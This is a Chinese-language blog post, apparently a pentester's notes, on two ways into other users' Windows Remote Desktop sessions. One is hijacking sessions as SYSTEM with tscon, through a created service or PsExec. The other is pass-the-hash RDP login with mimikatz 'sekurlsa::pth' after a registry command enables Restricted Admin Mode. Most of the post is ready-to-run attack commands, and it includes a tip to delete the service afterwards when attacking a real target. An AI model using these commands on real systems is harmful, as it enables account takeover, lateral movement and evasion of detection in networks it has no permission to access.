前言

文章涉及的技术并不深,只是本人在学习内网过程中的记录。前段时间出差做项目时,遇到问题是 导出域内Ntds无法解出明文密码导致不能登录目标域用户RDP(有特殊原因必须上远程桌面情况下),通过学习发现有两种方式分别是rdp会话劫持及利用hash登录Rdp可尝试解决该问题,此为记录实操过程,有不妥的之处还请各位师傅给予斧正。

一、RDP会话劫持

系统管理员和用户通常可以通过 RDP(远程桌面)协议登录指定3389服务器,而攻击者可以通过可以特权提升至 SYSTEM 权限的用户,可以在不知道其他用户登录凭据的情况下,用来劫持其他用户的 RDP 会话,该漏洞在2017年由以色列安全研究员Alexander Korznikov在个人博客中披露。利用条件只需要获取机器system权限执行tscon命令

利用过程-服务

可以通过计划任务,服务等系统自带命令获取system权限cmd命令窗口,但高版本例如Windows10的服务似乎就不能直接获取system权限cmd,但可以直接跟上tscon命令,默认情况下服务将作为SYSTEM权限运行。 如果你是在攻击真实目标,最后一定要删除服务!

  • quser 或者 qwinsta 查看会话id

创建劫持用户会话的服务 等号后面有个空格!

  • sc create rdp binpath= “cmd.exe /k tscon 2 /dest:console”
    sc qc rdp
    sc start rdp

PS:该方法优点系统自带,但稍威麻烦一点。

利用过程-Psexec

相对刚刚服务来说,更推荐家中常备Psexec微软签名正版授权(免杀杠杠的)操作简单,功能强大相比Python版psexec少了哈希传递功能。

首次使用建议 带上-accepteula参数(感谢强哥) ,不然就会像这样弹窗。。。

  • psexec -s -i cmd
    quser
    tscon 2 /dest:console

踩坑点:记得无论是服务还是psexec都要用管理员运行cmd命令行窗口,不然会出现权限不够!
当然能获取system权限命令窗口还有其他方法,这里只记录相对简单且实用的。

二、利用Hash登录rdp远程桌面

抓取hash无法破解的情况下,如果使用hash远程登录RDP,需要开启"Restricted Admin Mode", 在Windows8.1和Windows Server 2012R2上默认开启。本有两种开启方法第一种为打补丁,第二种为手动修改注册表,这里只介绍第二种。

修改注册表

位置:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
新建DWORD键值DisableRestrictedAdmin,值为0,代表开启;值为1,代表关闭

对应命令行开启Restricted Admin mode的命令如下:
REG ADD “HKLM\System\CurrentControlSet\Control\Lsa” /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

查看是否已开启 DisableRestrictedAdmin REG_DWORD 0x0 存在就是开启
REG query “HKLM\System\CurrentControlSet\Control\Lsa” | findstr “DisableRestrictedAdmin”

客户端命令行:

  • mstsc.exe /restrictedadmin


值得注意的是 这里无法登录是因为Restricted Admin mode使用当前Windows登录凭据,需借助mimiketz进行pth,不需要明文密码,直接登录即可。
Server 开启Restricted Admin mode时,Client 也需要支持Restricted Admin mode,

** mimikatz 踩坑记录如下:**

遇到此错误 ERROR kuhl_m_sekurlsa_acquireLSA ; Modules informations 请检查mimiket及对应操作系统版本

若遇到 error kuh1_m_sekurlsa_acquireLSA:logon list 请下载最新版mimiketz

遇到CredSSP加密数据库错误是大概是因为win10家庭版,做演示时俺就遇上了,于是就用2016虚拟机进行后续操作。

  • mimikatz命令如下:
    privilege::debug
    sekurlsa::pth /user:9821 /domain:DESKTOP-6RVIHJ2 /ntlm:e5df2c988f0d77ef35a9bdc95b5 “/run:mstsc.exe /restrictedadmin”
    执行后弹出远程登录界面,如下图 选择连接,成功实现远程登录

受限管理员模式

受限管理员模式顾名思义,只对管理员组有效.所以如果你获取到的用户属于远程桌面用户组,那么是无法通过hash登录的.会提示如下的错误:
首先把刚刚的用户移除administrators管理组,查看该用户权限

这里不知道什么原因,没显示报错信息但这并不影响他无法登录的事实

参考:

RDP会话劫持 Ladon无密码登陆管理员桌面会话
Passwordless RDP Session Hijacking Feature All Windows versions
渗透技巧——Pass the Hash with Remote Desktop(Restricted Admin mode)
Hash传递攻击Windows2012远程桌面

后记

  • 感谢给予帮助和支持的同事以及所在的白帽一百少先队,最后谢谢你
  • 声明:本文章经用于经验及交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意
  • 最后希望大家不要吝啬您的批评或赞美,对我来说都是莫大的支持及鼓励!